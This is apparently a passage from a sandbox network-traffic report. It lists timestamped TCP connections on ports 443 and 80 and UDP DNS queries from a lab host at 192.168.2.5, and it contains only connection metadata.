Mar 13, 2025 10:49:00.539975882 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.540003061 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.565583944 CET	49746	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:00.565610886 CET	443	49746	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:00.565706968 CET	49746	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:00.566464901 CET	49746	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:00.566479921 CET	443	49746	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:00.587070942 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.593511105 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.593533039 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.593599081 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.593604088 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.593667030 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.593688965 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.593688965 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.593698978 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.593735933 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.619802952 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.619914055 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.619941950 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.655613899 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.655646086 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.655742884 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.655764103 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.655812025 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.675443888 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.675462008 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.675565004 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.675586939 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.708281040 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.708298922 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.708375931 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.708395004 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.722138882 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.722182989 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.722238064 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.722250938 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.722296000 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.742539883 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.742547989 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.742578983 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.742670059 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.742707014 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.742721081 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.750847101 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.750948906 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.750969887 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.768115044 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.768147945 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.768254995 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.768268108 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.768328905 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.779872894 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.780009031 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.780024052 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.780071974 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.791804075 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.791831970 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.791873932 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.791882992 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.791933060 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.800483942 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.800590038 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.800601006 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.811846018 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.811862946 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.811965942 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.811976910 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.817240953 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.817349911 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.817375898 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.827898979 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.827923059 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.828033924 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.828074932 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.833112955 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.833216906 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.833233118 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.844120979 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.844136000 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.844189882 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.844223022 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.844242096 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.847635031 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.847724915 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.847737074 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.855937004 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.855957985 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.856050014 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.856064081 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.856098890 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.862751961 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.862821102 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.862831116 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.870814085 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.870829105 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.870910883 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.870922089 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.870970964 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.877604008 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.877753973 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.877763987 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.877835989 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.880034924 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.888493061 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.888509989 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.888669968 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.888669968 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.888679981 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.888792038 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.895370960 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.895481110 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.895489931 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.906148911 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.906166077 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.906269073 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.906280041 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.910053968 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.910193920 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.910203934 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.939188957 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.939214945 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.939256907 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.939297915 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.939312935 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.939346075 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.939372063 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.944853067 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.944884062 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.944984913 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.944984913 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.944994926 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.945353985 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.949623108 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.949698925 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.949706078 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.969316006 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.969333887 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.969413042 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.969424009 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.969966888 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.970040083 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.970048904 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.981991053 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.982008934 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.982057095 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.982065916 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.982105017 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.983357906 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.983465910 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.983474016 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.987549067 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.987565041 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.987657070 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.987657070 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.987668037 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.993053913 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:00.993184090 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:00.993194103 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.004801989 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.004822016 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.004898071 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.004916906 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.004952908 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.007391930 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.007472992 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.007482052 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.026814938 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.026832104 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.026915073 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.026926994 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.029023886 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.029110909 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.029118061 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.037676096 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.037691116 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.037823915 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.037823915 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.037846088 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.051127911 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.051227093 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.051254988 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.058026075 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.058042049 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.058137894 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.058161020 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.058176994 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.058238983 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.058665991 CET	49743	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.058681011 CET	443	49743	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.107785940 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:01.107812881 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:01.108535051 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:01.109879971 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:01.109894037 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:01.150726080 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.150765896 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.150861025 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.151345968 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:01.151360989 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:01.351866007 CET	49706	443	192.168.2.5	2.19.122.30
Mar 13, 2025 10:49:01.531510115 CET	49707	80	192.168.2.5	172.217.18.99
Mar 13, 2025 10:49:01.531670094 CET	49705	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:49:01.532104015 CET	80	49705	217.20.57.18	192.168.2.5
Mar 13, 2025 10:49:01.532181978 CET	49705	80	192.168.2.5	217.20.57.18
Mar 13, 2025 10:49:01.536421061 CET	80	49705	217.20.57.18	192.168.2.5
Mar 13, 2025 10:49:01.536458969 CET	80	49707	172.217.18.99	192.168.2.5
Mar 13, 2025 10:49:01.536540985 CET	49707	80	192.168.2.5	172.217.18.99
Mar 13, 2025 10:49:03.055754900 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.061412096 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.061430931 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.062506914 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.062594891 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.073873043 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.073949099 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.074342012 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.074350119 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.089044094 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.089379072 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.089395046 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.090413094 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.090476036 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.090811014 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.090858936 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.091150999 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.091159105 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.128097057 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.144089937 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.692811966 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.692909002 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.692974091 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.693543911 CET	49747	443	192.168.2.5	2.19.106.98
Mar 13, 2025 10:49:03.693563938 CET	443	49747	2.19.106.98	192.168.2.5
Mar 13, 2025 10:49:03.723119020 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723145008 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723154068 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723180056 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723191977 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723203897 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723217964 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.723233938 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723273039 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.723319054 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.723330975 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723371983 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.723376989 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723412037 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:03.723412037 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.723449945 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.725753069 CET	49748	443	192.168.2.5	23.192.243.7
Mar 13, 2025 10:49:03.725769997 CET	443	49748	23.192.243.7	192.168.2.5
Mar 13, 2025 10:49:08.863878965 CET	443	49746	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:08.863951921 CET	49746	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:08.864209890 CET	49746	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:08.864229918 CET	443	49746	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:08.864603043 CET	49751	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:08.864662886 CET	443	49751	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:08.864763975 CET	49751	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:08.865092039 CET	49751	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:08.865115881 CET	443	49751	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:17.267517090 CET	443	49751	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:17.268117905 CET	49751	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:17.279532909 CET	49751	443	192.168.2.5	152.199.21.175
Mar 13, 2025 10:49:17.279553890 CET	443	49751	152.199.21.175	192.168.2.5
Mar 13, 2025 10:49:21.972090960 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:21.972131968 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:21.972203016 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:21.972590923 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:21.972600937 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:23.939774036 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:23.940058947 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:23.940088987 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:23.941206932 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:23.941267014 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:23.942277908 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:23.942388058 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:23.984175920 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:23.984200954 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:24.031033039 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:33.662352085 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:33.662440062 CET	443	49756	142.250.185.100	192.168.2.5
Mar 13, 2025 10:49:33.662501097 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:33.908255100 CET	49756	443	192.168.2.5	142.250.185.100
Mar 13, 2025 10:49:33.908279896 CET	443	49756	142.250.185.100	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 10:48:17.642024994 CET	53	61378	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:17.656281948 CET	53	62169	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:21.001300097 CET	53	63612	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:21.198767900 CET	53	56796	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:21.907267094 CET	57311	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:21.907476902 CET	49508	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:21.913979053 CET	53	57311	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:21.914177895 CET	53	49508	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:23.393945932 CET	61735	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:23.394258976 CET	64980	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:23.489644051 CET	53	61735	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:25.112082958 CET	53	64980	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:26.168641090 CET	53	51643	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:26.184205055 CET	53	52997	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:38.358555079 CET	53	60705	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:52.376128912 CET	65502	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:52.376315117 CET	64166	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:52.385107040 CET	53	65502	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:52.400747061 CET	53	64166	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:55.028534889 CET	61555	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:55.028711081 CET	54415	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:55.035907030 CET	53	61555	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:55.049118042 CET	53	54415	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:57.289433956 CET	53	64022	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:57.645020008 CET	63436	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:57.645497084 CET	57934	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:57.647334099 CET	57732	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:57.647654057 CET	57274	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:48:57.653350115 CET	53	63436	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:57.654226065 CET	53	57274	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:57.654844046 CET	53	57732	1.1.1.1	192.168.2.5
Mar 13, 2025 10:48:57.665281057 CET	53	57934	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:01.097527027 CET	61534	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:01.097659111 CET	63989	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:01.105456114 CET	53	63989	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:01.105595112 CET	53	61534	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:04.804639101 CET	138	138	192.168.2.5	192.168.2.255
Mar 13, 2025 10:49:17.692749023 CET	53	50291	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:19.681052923 CET	53	57102	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:22.205686092 CET	53	52821	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:27.912432909 CET	50079	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:27.912587881 CET	52561	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:27.919413090 CET	53	50079	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:27.920277119 CET	53	52561	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:28.937910080 CET	57056	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:28.938088894 CET	59916	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:28.944916010 CET	53	59916	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:28.947158098 CET	53	57056	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:30.970844984 CET	62933	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:30.977592945 CET	53	62933	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:31.984882116 CET	62933	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:31.991391897 CET	53	62933	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:32.984770060 CET	62933	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:32.991405010 CET	53	62933	1.1.1.1	192.168.2.5
Mar 13, 2025 10:49:34.999639988 CET	62933	53	192.168.2.5	1.1.1.1
Mar 13, 2025 10:49:35.006321907 CET	53	62933	1.1.1.1	192.168.2.5
